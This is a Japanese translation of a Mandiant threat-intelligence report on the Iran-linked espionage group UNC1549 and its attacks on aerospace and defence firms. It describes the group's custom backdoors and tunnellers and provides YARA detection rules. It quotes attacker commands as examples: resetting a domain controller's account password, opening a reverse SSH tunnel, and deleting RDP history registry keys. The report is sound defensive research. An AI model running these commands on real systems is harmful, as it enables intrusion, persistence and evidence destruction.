最前線からのインテリジェンス: UNC1549 による航空宇宙および防衛エコシステムへの攻撃で使用された TTP、カスタムツール、マルウェアの分析
Mandiant
※この投稿は米国時間 2025 年 11 月 18 日に、Google Cloud blog に投稿されたものの抄訳です。
概要
昨年、Mandiant は、中東の航空宇宙、航空、防衛産業を標的とした、イラン関連のスパイ活動とみられる一連の攻撃を取り上げたブログ投稿を公開しました。このフォローアップ投稿では、Mandiant が対応したインシデントで新たに確認された戦術、手法、手順(TTP)について説明します。
2024 年半ば以降、Mandiant は、航空宇宙、航空、防衛産業を標的とする脅威グループ UNC1549 によるキャンペーンへの対応を継続してきました。UNC1549 は、これらの環境への初期アクセスを獲得するために、2 つのアプローチを採用しています。1 つは、認証情報の窃取やマルウェアの配信を目的とした巧妙なフィッシング キャンペーンの展開、もう 1 つは、サードパーティのサプライヤーやパートナー事業者との信頼された接続の悪用です。
後者の手法は、防衛関連企業のようにセキュリティ成熟度が高い組織を標的とする場合に特に効果的です。主要な標的となる組織はしばしば多額の投資によって堅牢な防御体制を整えていますが、パートナー事業者は必ずしも同じレベルの厳格なセキュリティ ポスチャーを維持しているとは限りません。UNC1549 はこの格差を利用し、防御の手薄な経路を確保することで、接続された組織を先に侵害し、標的とする組織のセキュリティ対策を回避しています。
2023 年後半から 2025 年にかけて活動している UNC1549 は、サービス プロバイダを経由して顧客環境に侵入するなど、サードパーティとの関係を悪用した侵入手法を使用していました。他にも、サードパーティ経由での VDI ブレイクアウトや、対象者の役割に応じた高度な標的型フィッシングなど、複数の高度な初期アクセス ベクトルを採用していました。
侵入後は、巧妙なラテラル ムーブメント手法を駆使します。たとえば、被害者のソースコードを窃取し、類似ドメインを使用してプロキシを回避するスピア フィッシング キャンペーンを行ったり、内部サービス チケット発行システムを悪用して認証情報にアクセスしたりします。カスタムツールも採用しており、特に DCSYNCER.SLICK(検索順序ハイジャックを介してデプロイされ、DCSync 攻撃を実行する亜種)が使用されます。
UNC1549 のキャンペーンは、調査担当者の行動を先読みし、検出された後も長期間の持続性を確保することに重点を置いている点が特徴です。バックドアを設置して数か月にわたり静かにビーコンを送信し、被害組織が根絶を試みた後にのみ起動してアクセスを再確保します。また、フォレンジック調査の証拠を残さないよう広範なリバース SSH シェルを使用し、被害組織の業界を戦略的に模倣したドメインを活用することで、ステルス機能とコマンド&コントロール(C2)を維持しています。
脅威活動
初期侵害
UNC1549 が使用する主な初期アクセス ベクトルは、標的型ソーシャル エンジニアリングと、侵害されたサードパーティ アカウントの悪用を組み合わせたものでした。UNC1549 は、ベンダーやパートナー事業者などの信頼できる外部エンティティから収集した認証情報を利用して、これらの関係に本来備わる正当なアクセス経路を悪用しました。
サードパーティのサービス
特に、被害組織がパートナー事業者、協力会社、請負業者に提供する Citrix、VMWare、Azure Virtual Desktop、および各種アプリケーション サービスが頻繁に悪用されていました。UNC1549 は、侵害されたサードパーティの認証情報を使用してサプライヤー側のインフラストラクチャに対して認証を行い、ネットワーク境界内に最初の足がかりを築きました。認証後、UNC1549 は仮想化された Citrix セッションのセキュリティ境界や制限を回避する手法を使用しました。このブレイクアウトにより、基盤となるホストシステムや隣接するネットワーク セグメントへのアクセスが可能となり、標的企業のネットワークの奥深くでラテラル ムーブメントを展開できるようになりました。
スピア フィッシング
UNC1549 は、ネットワークへの初期アクセスを獲得する手段の一つとして、標的型スピア フィッシング メールを利用しました。これらのメールには、求人や採用活動に関連したおとり文書が含まれており、受信者を騙して添付ファイルやリンクに潜んだマルウェアをダウンロードおよび実行させようとしていました。図 1 は、被害者の 1 人に送信されたフィッシング メールのサンプルです。


図 1: UNC1549 が送信したフィッシング メールのスクリーンショット
侵害に成功した後、UNC1549 は特に IT スタッフや管理者を標的としたスピア フィッシング キャンペーンに移行していることが Mandiant によって確認されています。このキャンペーンの目的は、より高い権限を持つ認証情報を取得することにありました。フィッシング攻撃の信憑性を高めるため、攻撃者は多くの場合、事前に偵察を行います。たとえば、すでに侵害された受信トレイ内の過去のメールを調査して正規のパスワード再設定リクエストの内容を把握し、会社の内部パスワード再設定ウェブページを特定します。その後、これらの正規のプロセスを模倣した悪意のあるメールを作成します。
足場確立
侵害されたネットワーク内での永続性を維持するために、UNC1549 は複数のカスタム バックドアをデプロイしました。2024 年 2 月のブログ投稿で Mandiant が取り上げた MINIBIKE に加え、TWOSTROKE や DEEPROOT などのカスタム マルウェアも使用しています。Mandiant の分析によりわかったことですが、注目すべきは、初期の標的設定や侵害段階で使用されたマルウェア自体は特別なものではなかったものの、侵害後に展開されたペイロードはすべて、ファミリーに関係なく、一意のハッシュを持っていたことです。これには、同じ被害組織のネットワーク内で、同じバックドアのバリアントに属する複数のサンプルが確認された事例も含まれます。このようなアプローチは、UNC1549 が高度な技術を有していることに加え、検出回避やフォレンジック調査の妨害を目的としてツールを細かくカスタマイズするために多大な労力を費やしている点を浮き彫りにしています。
検索順序のハイジャック
UNC1549 は、DLL 検索順序のハイジャックを悪用して、CRASHPAD、DCSYNCER.SLICK、GHOSTLINE、LIGHTRAIL、MINIBIKE、POLLBLEND、SIGHTGRAB、TWOSTROKE の各ペイロードを実行しました。DLL 検索順序のハイジャック手法を使用することで、UNC1549 は、ツールを長期間にわたり検知されずに実行することに成功しています。
Mandiant による複数の調査から、UNC1549 はさまざまなソフトウェア ソリューションで DLL 検索順序のハイジャックを悪用し、対象となるソフトウェアの依存関係を詳細に把握していることが明らかになりました。UNC1549 は、Fortigate、VMWare、Citrix、Microsoft、NVIDIA が提供する正規の実行可能ファイルを標的とし、悪意のあるバイナリをデプロイしています。多くの場合、脅威アクターは初期アクセス後に正規のソフトウェアをインストールし、検索順序のハイジャック(SOH)を悪用していました。一方で、すでに被害組織のシステムにインストールされているソフトウェアを利用し、正規のインストール ディレクトリ内の DLL を悪意のあるものに置き換えたり追加したりするケースも見られます。これらの操作は通常、SYSTEM 権限で実行されます。
TWOSTROKE
TWOSTROKE は C++ で実装されたバックドアであり、SSL で暗号化された TCP/443 接続を通じてコントローラと通信します。このマルウェアは多様なコマンドセットを備えており、システム情報の収集、DLL の読み込み、ファイルの操作、永続化などの機能を有します。MINIBIKE といくつかの共通点はありますが、独自のバックドアとみなされています。
TWOSTROKE は実行されると、特定のルーティンを使用して一意の被害者識別子を生成します。TWOSTRIKE は、Windows API 関数 GetComputerNameExW(ComputerNameDnsFullyQualified)を使用して、完全修飾 DNS コンピュータ名を取得します。取得した名前は、静的な鍵を使用して XOR 暗号化処理されます。暗号化後、得られたバイナリデータは小文字の 16 進数文字列に変換されます。
最後に、TWOSTROKE はこの 16 進数文字列の先頭 8 文字を取り出して反転し、被害者の一意の bot ID として使用します。この ID は後に C2 サーバーとの通信に使用されます。
機能
C2 サーバーにチェックイン リクエストを送信した後、TWOSTROKE の C2 サーバーは「@##@」で区切られた複数の値を含む、16 進エンコードされたペイロードを返します。受信したコマンドに応じて、TWOSTROKE は次のいずれかのコマンドを実行できます。
-
1: C2 にファイルをアップロードする -
2: ファイルまたはシェルコマンドを実行する -
3: DLL をメモリに読み込んで実行する -
4: C2 からファイルをダウンロードする -
5: 被害者の完全なユーザー名を取得する -
6: 被害者の完全なマシン名を取得する -
7: ディレクトリを一覧表示する -
8: ファイルを削除する
LIGHTRAIL
UNC1549 が、攻撃者が所有するインフラストラクチャから ZIP ファイルをダウンロードしていることが確認されています。この ZIP ファイルには、VGAuth.dll として LIGHTRAIL トンネラーが含まれており、VGAuthCLI.exe 実行可能ファイルを使用した検索順序のハイジャックによって実行されました。LIGHTRAIL は、オープンソースの Socks4a プロキシである Lastenzug をベースにしている可能性が高いカスタム トンネラーで、Azure クラウド インフラストラクチャを使用して通信を行います。
LIGHTRAIL サンプルと LastenZug ソースコードには、いくつか明確な違いがあります。たとえば、次が挙げられます。
-
MAX_CONNECTIONS を 250 から 5,000 に増加させている
-
lastenzug関数内の静的構成(wPathとport) -
WebSocket C2 に接続する際、プロキシ サーバーの使用がサポートされていない
-
コンパイラの最適化により、関数の数が 26 から 10 に減少している
さらに、LastenZug は DLL 関数および API 関数の解決にハッシュを使用しています。デフォルトでは、ハッシュ値は 0x41507712 の値と XOR 処理されますが、観測された LIGHTRAIL サンプルの XOR 値は元のソースコード 0x41424344(‘ABCD’)とは異なります。
必要な API 関数ポインタを読み込んだ後は、サーバー名(wServerName)、ポート、URI(wPath)の値が入力され、初期化が続行されます。ポートは 443(HTTPS 用)に、パスは「/news」にハードコードされています。これは、これらの値が lastenzug 関数への入力パラメータとなっているソースコードとは異なります。
initWS 関数は、Windows の WinHTTP API を使用して WebSocket 接続を確立します。initWS 関数にはハードコードされたユーザー エージェント文字列があり、スタック上で文字列として構築されます。
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Mandiant は、ドイツから VirusTotal にアップロードされた別の LIGHTRAIL サンプルを確認しました。しかし、このサンプルは、C2 ドメインが意図的に書き換えられており、アップローダーによって改変されたものと考えられます。
GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13
図 2: 改変された LIGHTRAIL ネットワーク通信スニペット
最も注目すべき点は、このサンプルが通信に異なる URL パスを使用していることです。また、このサンプルのユーザー エージェントも、以前の LIGHTRAIL サンプルや LastenZug のソースコードで確認されたものとは異なります。
DEEPROOT
DEEPROOT は、Golang で記述された Linux 向けバックドアで、シェルのコマンド実行、システム情報の列挙とファイルの一覧表示、削除、アップロード、ダウンロードなどの機能をサポートしています。DEEPROOT は Linux システム向けにコンパイルされていますが、Golang のアーキテクチャ上、他のオペレーティング システム向けにもコンパイル可能です。現時点では、Mandiant は Windows システムを標的とする DEEPROOT サンプルを確認していません。
DEEPROOT は、Microsoft Azure 上でホストされている複数の C2 ドメインを使用していたことが確認されています。確認された DEEPROOT サンプルでは、各バイナリに複数の C2 サーバーが使用されていました。これは、1 つの C2 サーバーがダウンした場合の冗長性を確保するためと考えられます。
機能
C2 サーバーにチェックイン リクエストを送信すると、DEEPROOT の C2 サーバーは、「-===-」で区切られた複数の値を含む、16 進エンコードされたペイロードを返します。
<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>
図 3: デコードされた POST 本文のデータ構造
-
sleep_timeoutは、次のリクエストを送信するまでの待機時間(ミリ秒)です。 -
command_idは、C2 コマンドの識別子であり、バックドアが C2 に結果を返す際に使用されます。 -
commandはコマンド番号で、次のアクションのいずれかを実行します。 -
1 - ディレクトリ情報(ディレクトリ一覧)を取得します。ディレクトリ パスは
argument_1で受け取ります。 -
2 - ファイルを削除します。ファイルパスは
argument_1で受け取ります。 -
3 - 被害者のユーザー名を取得します。
-
4 - 被害者のホスト名を取得します。
-
5 - シェルコマンドを実行します。シェルコマンドは
argument_1で受け取ります。 -
6 - C2 からファイルをダウンロードします。C2 上のファイルパスは
argument_1で、ローカルのファイルパスはargument_2で受け取ります。 -
7 - C2 にファイルをアップロードします。ローカルのファイルパスは
argument_1で受け取ります。 -
argument_1とargument_2はコマンド引数であり、省略可能です。
GHOSTLINE
GHOSTLINE は、Golang で記述された Windows 向けトンネラー ユーティリティで、通信にはハードコードされたドメインを使用します。ネットワーク接続には go-yamux ライブラリが使用されます。
POLLBLEND
POLLBLEND は C++ で記述された Windows 向けトンネラーです。以前の実装では、複数の C2 サーバーがハードコードされており、自己登録とトンネラー構成のダウンロードに 2 つのハードコードされた URI パラメータが使用されていました。マシンの登録に際して、POLLBLEND は /register/ にアクセスし、次の JSON 本文を含む HTTP POST リクエストを送信していました。
{"username": "<computer_name>"}
図 4: POLLBLEND の本文データ
コード署名
UNC1549 の活動を複数の侵入事例にわたって追跡する中で、イランが支援するこの脅威グループが、一部のバックドア バイナリに正規のコード署名証明書を使って署名していることが確認されました。この戦術は Check Point でも指摘されており、マルウェアの検出回避や、アプリケーションの許可リストなどのセキュリティ管理のバイパスに寄与すると考えられます。多くの場合、アプリケーション許可リストはデジタル署名されたコードを信頼するよう構成されています。同グループは、この手法を使用して、GHOSTLINE、POLLBLEND、TWOSTROKE のバリアントを含むマルウェア サンプルを兵器化しました。特定されたすべてのコード署名証明書は、失効のために関連する発行元の認証局に報告されています。
権限の昇格
UNC1549 は、侵入後に認証情報を盗み、機密データを収集することを目的として、さまざまな手法とカスタムツールを使用していることが確認されています。これには、Active Directory の DCSync レプリケーション機能を模倣するよう設計されたユーティリティ(DCSYNCER.SLICK として追跡)が含まれていました。DCSync は、ドメイン コントローラが RPC を介して変更をレプリケートするために使用する正当な機能です。この機能を悪用することで、攻撃者はドメイン コントローラから NTLM パスワード ハッシュを直接抽出することができました。また、CRASHPAD と呼ばれる別のツールは、ウェブブラウザに保存された認証情報の抽出に特化していました。視覚データの収集には、定期的にスクリーンショットを撮影するツールである SIGHTGRAB がデプロイされました。これにより、ユーザーの画面に表示される機密情報がキャプチャされる可能性があります。さらに、UNC1549 は、TRUSTTRAP のデプロイなど、より単純な手法も利用していました。TRUSTTRAP は、ユーザーに認証情報の入力を促す偽のポップアップ ウィンドウを表示し、入力された認証情報を攻撃者が収集するものです。
UNC1549 は、ドメイン ユーザーの NTLM パスワード ハッシュを取得するために DCSync 攻撃を頻繁に使用し、これを解読することでラテラル ムーブメントや権限昇格を容易にしていました。脅威アクターは、DCSync の実行に必要なディレクトリ レプリケーション権限を取得するために、複数の手法を使用していました。net.exe を使用して、ドメイン コントローラのコンピュータ アカウントのパスワードを通常とは異なる方法でリセットしていたことが確認されています。この操作は一般的に、ホストのドメイン コントローラ機能を破壊し、サービス停止を引き起こします。しかし今回の事例では、DCSync 操作の実行に成功し、ドメイン管理者や Azure AD Connect アカウントの認証情報など、機密性の高い認証情報を抽出していました。UNC1549 は、不正なコンピュータ アカウントの作成や、リソースベースの制約付き委任(RBCD)割り当ての悪用など、他の手法も利用してドメイン レプリケーション権限を取得していました。また、認証情報を窃取するために、難読化された Invoke-Kerberoast スクリプトを利用して Kerberoasting を実行していました。
net user DC-01$ P@ssw0rd
図 5: ドメイン コントローラのコンピュータ アカウントをリセットする UNC1549 の net.exe コマンドの例
場合によっては、UNC1549 は、ワークステーションに足場を築いた直後に、脆弱な Active Directory 証明書サービス テンプレートを特定していました。これらのテンプレートを使用して証明書をリクエストし、より高い権限を持つユーザー アカウントになりすましていたのです。
また、UNC1549 は、悪意のあるユーティリティを使用するか、RDP セッションをハイジャックすることで、ウェブブラウザに保存された認証情報を頻繁に標的にしていました。後者の場合、脅威アクターは quser.exe または wmic.exe を使用してシステムにログインしているユーザーを特定し、そのユーザーのアカウントでシステムに RDP 接続して、アクティブでロックされていないウェブブラウザ セッションにアクセスします。
DCSYNCER.SLICK
DCSYNCER.SLICK は、オープンソース プロジェクトである DCSyncer を基にした、Mimikatz のソースコードをベースとする Windows 実行可能ファイルです。DCSYNCER.SLICK には、動的 API 解決を使用するなどの改変が加えられており、すべての printf ステートメントが削除されています。
さらに、DCSYNCER.SLICK は、認証情報を収集し、XOR で暗号化してから、ハードコードされたファイル名とパスに書き込みます。DCSYNCER.SLICK が使用していることが確認された、ハードコード済みのファイル名とパスは、次のとおりです。
-
C:\users\public\LOG.txt -
C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt
検出を回避するために、UNC1549 は侵害されたドメイン コントローラのコンピュータ アカウントのコンテキストでマルウェアを実行していました。この侵害は、当該アカウントのパスワードを手動でリセットすることで実現されました。UNC1549 は、標準の netdom コマンドの代わりに、Windows コマンド net user <computer_name> <password> を使用しました。その後、新たに取得した認証情報を使用して DCSYNCER.SLICK ペイロードを実行しました。この戦術により、2 つの正規のドメイン コントローラ間でレプリケーションが行われたかのような誤った印象を与えることができます。
CRASHPAD
CRASHPAD は、explorer.exe の実行ユーザーのコンテクストになりすまし、CryptUnprotectData API を使用して、ファイル config.txt の内容をファイル crash.log に復号する、C++ で記述された Windows 実行可能ファイルです。
-
C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log -
C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt
UNC1549 が CRASHPAD の実行後にその出力を削除したため、これらのファイルの内容は特定できませんでした。
CRASHPAD の構成と出力ファイルのパスは、DCSYNCER.SLICK バイナリ内の LOG.txt ファイル名と同様に、サンプルにハードコードされていました。
SIGHTGRAB
SIGHTGRAB は、C で記述された Windows 実行可能ファイルです。定期的に自動でスクリーンショットをキャプチャし、ディスクに保存します。SIGHTGRAB は実行時に User32.dll、Gdi32.dll、Ole32.dll など、複数の Windows ライブラリを動的に読み込みます。SIGHTGRAB は、エンコードされた文字列を使用して LoadLibraryA と GetProcAddress を呼び出すことでランタイム API の解決を行い、システム関数にアクセスします。また、0x41 の 1 バイトの鍵を使用した XOR 暗号化により、API 関数名をデコードします。
SIGHTGRAB は現在のタイムスタンプを取得し、そのタイムスタンプに対して YYYY-MM-DD-HH-MM 形式の文字列に整形してディレクトリ名を生成します。SIGHTGRAB は、新しく作成されたこのディレクトリに、撮影したすべてのスクリーンショットを増分保存します。
C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg
C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg
図 6: SIGHTGRAB によってディスク上に作成されたスクリーンショット ファイルの例
Mandiant は、UNC1549 がワークステーションに SIGHTGRAB を戦略的にデプロイし、2 つのカテゴリのユーザーを標的にしていることを確認しました。1 つは機密データを扱うユーザーで、これが後のデータの漏洩や不正抽出を可能にします。もう 1 つは特権アクセスを持つユーザーで、権限昇格と制限されたシステムへのアクセスが可能になります。
TRUSTTRAP
このマルウェアは、Windows のプロンプトを装ってユーザーをだまし、認証情報を入力させます。キャプチャされた認証情報は、クリアテキストでファイルに保存されます。図 7 は、Microsoft Outlook のログイン ウィンドウを模倣した TRUSTTRAP のポップアップの例を示しています。


図 7: 偽の Microsoft Outlook ログイン ウィンドウを示すスクリーンショット
TRUSTTRAP は、少なくとも 2023 年以降、UNC1549 がラテラル ムーブメントに必要なユーザー認証情報を取得するために使用されています。
偵察とラテラル ムーブメント
内部偵察において、UNC1549 は正規のツールや一般公開されているユーティリティを利用しており、標準的な管理アクティビティに紛れ込むことを意図していたと考えられます。AD Explorer は、Microsoft によって署名された有効な実行可能ファイルで、Active Directory のクエリを実行し、その構成の詳細を調査するために使用されました。これと並行して、同グループは net user や net group などの Windows ネイティブ コマンドを使用して、ドメイン内の特定のユーザー アカウントとグループ メンバーを列挙しました。また、PowerShell スクリプトを利用し、特定のサブネット(通常は権限のあるサーバーや IT 管理者のワークステーションが属するもの)に対して、ping およびポートスキャンによる偵察を行いました。
UNC1549 は、被害組織環境の制約に応じて、ラテラル ムーブメントにさまざまな方法を使用しています。最も頻繁に使用されたのは RDP です。また、Mandiant は PowerShell リモート処理、Atelier Web Remote Commander(「AWRC」)、SCCM リモート コントロールの使用も確認しました。これには、システムで SCCM リモート コントロールを有効化するために SCCMVNC のバリアントを実行することも含まれます。
Atelier Web Remote Commander
Atelier Web Remote Commander(AWRC)は、Windows システムをリモートで管理、監査、サポートするための商用ユーティリティです。主な特徴は、エージェントレス設計により、リモートマシンへのソフトウェアのインストールや事前構成が不要で、管理者がすぐに接続できることです。
UNC1549 は、AWRC の機能を悪用し、この一般公開された商用ツールを使用して侵害後のアクティビティを促進しました。これらのアクティビティには、以下が含まれます。
-
リモート接続の確立: AWRC を使用して、侵害されたネットワーク内の標的ホストにリモートで接続する
-
偵察の実施: AWRC の組み込み関数を使用して、次の方法で情報を収集する
-
実行中のサービスの列挙
-
アクティブなプロセスの列挙
-
既存の RDP セッションの列挙
-
認証情報の窃取: AWRC を悪用し、保存されたユーザー認証情報を含むことが知られている機密性の高いブラウザ関連ファイルをリモート システムから取得する
-
マルウェアのデプロイ: AWRC をベクトルとして使用し、侵害されたマシンにマルウェアを転送してデプロイする
SCCMVNC
SCCMVNC は、Microsoft System Center Configuration Manager(SCCM / ConfigMgr)の既存のリモート コントロール機能を利用して、VNC のようなリモート アクセスを実現するツールです。その他のサードパーティ モジュールやユーザーの同意 / 通知は不要です。
SCCM.exe reconfig /target:[REDACTED]
図 8: UNC1549 で SCCMVNC コマンドを実行する例
SCCMVNC のコア機能では、SCCM の既存のリモート コントロール機能を操作できます。別の VNC サーバーや他のリモート アクセス ソフトウェアをデプロイする代わりに、このツールはクライアント ワークステーション上のネイティブな SCCM リモート コントロール サービスと直接連携し、その設定を再構成します。このアプローチでは、エンタープライズ環境内ですでに存在し信頼されているコンポーネントを活用します。
SCCMVNC の大きな特徴は、SCCM リモート コントロールに通常伴う標準的な同意および通知メカニズムをバイパスできる点にあります。SCCM リモート コントロール セッションが開始されると、通常、エンドユーザーには権限を求めるプロンプトが表示され、通知アイコンや接続バーも表示されます。SCCMVNC は、基盤となる SCCM 設定を効果的に再構成(主に WMI インタラクションを通じて)し、ユーザー向けのこれらの要件を無効にします。この改ざんにより、VNC 接続のように目立たずシームレスなリモート アクセス環境を実現できます。そのため、多くの場合、ユーザーはセッションが進行中であることにすぐには気づきません。
コマンド&コントロール
UNC1549 は、C2 用に Microsoft Azure Web Apps を登録し、クラウド インフラストラクチャを引き続き使用していました。MINIBUS、MINIBIKE、TWOSTROKE などのバックドアに加えて、UNC1549 は、侵害を受けたシステムに確立された SSH リバース トンネルを多用し、C2 サーバーから侵害を受けたシステムへのトラフィックを転送していました。この手法では、セキュリティ テレメトリーに記録されるのはネットワーク接続のみであるため、調査時に利用できるホストベースのアーティファクトは制限されました。たとえば、SMB 共有からのデータ収集中に、SSH プロセスからリモート システムのポート 445 へのアウトバウンド接続が確認されたのですが、被害組織の環境内でステージングが行われておらず、オブジェクト監査も無効になっていたため、実際に収集されたデータを確認することはできませんでした。
C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070
図 9: UNC1549 によるリバース SSH コマンドの例
Mandiant は、UNC1549 が ZEROTIER や NGROK など、複数の冗長リモート アクセス手法をデプロイしていた証拠も確認しました。これらの代替手法の中には、被害組織が修正措置を講じるまで脅威アクターが使用しなかったものもあるため、主にアクセスの維持を目的としてデプロイされていると考えられます。
目的達成
スパイ活動
UNC1549 の活動は、標的ネットワークからの広範な情報収集を目的としたスパイ活動を中心に展開されていました。このグループは、ネットワークや IT 関連のドキュメント、知的財産、メールなどの機密情報を積極的に収集しています。さらに UNC1549 は、侵害した組織を侵入拠点として活用し、そのアクセス権を使って他のエンティティ、特に同じ業界の組織を標的とするとともに、サードパーティのサプライヤーやパートナー事業者への侵入も効果的に行うことで、情報収集の目的を達成しています。
なお、Mandiant はまったく関係のない異なる業界の組織で発生した 1 件の侵入に対応しました。この侵入では、初期のスピア フィッシングに航空宇宙および防衛分野の業務に関連する誘い文句が使われていたことから、Mandiant はこの侵入を日和見的な攻撃と評価しています。これは、UNC1549 が従来のスパイ活動の目的に直結しない被害組織に対しても、アクセスの拡大や永続性の確立にリソースを投入できる能力を備えていることを示しています。
防御回避
UNC1549 は多くの場合、検出を回避し調査を妨害する目的で、実行後に侵害したシステムから使用済みのユーティリティを削除しています。また、RDP 接続履歴を記録するレジストリキーなど、フォレンジック アーティファクトを消去していることも確認されています。さらに前述のとおり、このグループは被害者のホストから自身のインフラストラクチャに戻る SSH リバース トンネルを繰り返し使用していました。この手法により、対象のシステムにインストールされている EDR エージェントからアクティビティを隠蔽していました。これらの活動を総合すると、UNC1549 の運用上のセキュリティが過去 1 年間で向上していることがわかります。
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
図 10: UNC1549 による RDP 接続履歴のレジストリキー削除コマンドの例
謝辞
今回の分析は、Google Threat Intelligence グループ、Mandiant Consulting、FLARE の皆様の協力がなければ実現しえませんでした。特に、FLARE の Greg Sinclair 氏、Mustafa Nasser 氏、そして Mandiant コンサルティングの Melissa Derr 氏、Liam Smith 氏、Chris Eastwood 氏、Alex Pietz 氏、Ross Inman 氏、Emeka Agu 氏に感謝の意を表します。
MITRE ATT&CK
セキュリティ侵害インジケーター(IOC)
登録済みユーザーの方は、以下の IOC を GTI コレクションで利用できます。
YARA ルール
import "pe"
rule M_APT_Utility_DCSYNCER_SLICK_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "10f16991665df69d1ccd5187e027cf3d"
strings:
$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
$ = "\\LOG.txt" ascii wide
$ = "%ws_%d:%d:" ascii wide fullword
$ = "%ws:%d:" ascii wide fullword
$ = "::::" ascii wide fullword
$ = "%ws_%d:%d::" ascii wide fullword
$ = "%ws:%d::" ascii wide fullword
condition:
pe.is_pe and all of them
}import "pe"
rule M_APT_Utility_CRASHPAD_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "b2bd275f97cb95c7399065b57f90bb6c"
strings:
$ = "[-] Loo ror: %u" ascii fullword
$ = "[-] Adj r: %u" ascii fullword
$ = "[-] Th ge. " ascii fullword
$ = "[+] O s!" ascii fullword
$ = "[-] O C: %i" ascii fullword
$ = "[-] O E: %i" ascii fullword
$ = "[+] Op cess!" ascii fullword
$ = "[-] Op Code: %i" ascii fullword
$ = "[-] O Error: %i" ascii fullword
$ = "[+] Im su!" ascii fullword
$ = "[+] R" ascii fullword
$ = "[-] Impe Code: %i" ascii fullword
$ = "[-] Imo: %i" ascii fullword
$ = "[+] Du success!" ascii fullword
$ = "[-] Du Code: %i" ascii fullword
$ = "[-] Du Error: %i" ascii fullword
$ = "[+] Dec Suc." ascii fullword
$ = "%02X" ascii fullword
$ = "Decryption failed" ascii fullword
$ = "config.txt"
$ = "crash.log"
$ = "[+] e wt!" ascii fullword
$ = "[+] p %d!" ascii fullword
$ = "[+] e!" ascii fullword
condition:
pe.is_pe and 15 of them
}Google Security Operations による検出
Google SecOps のお客様は、Mandiant と Google Threat Intelligence の厳選された脅威インテリジェンスを通じて、UNC1549 の TTP に対する堅牢な検出機能をご利用になれます。この最前線のインテリジェンスは、カスタム検出シグネチャと高度な YARA-L ルールとして、プラットフォーム内で運用されます。
- Mandiant、執筆者: Mohamed El-Banna、Daniel Lee、Mike Stokkel、Josh Goddard
